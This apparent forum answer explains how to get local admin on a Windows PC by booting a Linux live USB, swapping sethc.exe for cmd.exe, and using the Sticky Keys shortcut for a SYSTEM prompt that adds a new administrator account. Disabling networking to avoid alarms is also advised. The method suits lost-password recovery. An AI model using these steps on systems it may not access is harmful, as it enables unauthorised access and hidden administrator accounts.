Okay, first of all, this is a super sketch question. Please don't take my answer and
- Get yourself fired
- Get yourself arrested
- Get yourself put on a no-fly-list
- Get yourself grounded
- Get me fired
- Get me arrested
- Get me put on a no fly list
and that's not just a "don't get caught". Don't do anything you shouldn't be doing. I'm just answering this on the off chance it's a laptop you just bought and don't have the password to or some BS. At the end of the day if you're browsing a forum to figure out how to get admin on a system you shouldn't, the IT person who you'd be subverting is probably good enough to catch you and punish you accordingly.
There's no perfect way to do this because Windows actually does have security in place (duh), but that being said how I would do it is (assuming unencrypted hard disk)
- Boot to Ubuntu Live CD/USB
- Take out any networking (whether that's Wifi or unplugging the network cable) God forbid there's a chance this is setting alarms anywhere
- Mount the host hard drive
- Go to C:\Windows\System32
- Rename (in linux you'd use the mv command) sethc.exe to whatever you want
- Copy cmd.exe to sethc.exe
- Reboot into windows
- Hit shift five times
- You now have a system command prompt, net user username /add to make a new user and net localgroup Administrators username /add to add that user as admin
- If you care about the environment at all, move sethc.exe back and remove the command prompt sethc.exe
This is also for local users. Not domain. Someone please let me know if this is off bounds but I've actually used this to recover lost passwords for laptops in an IT environment.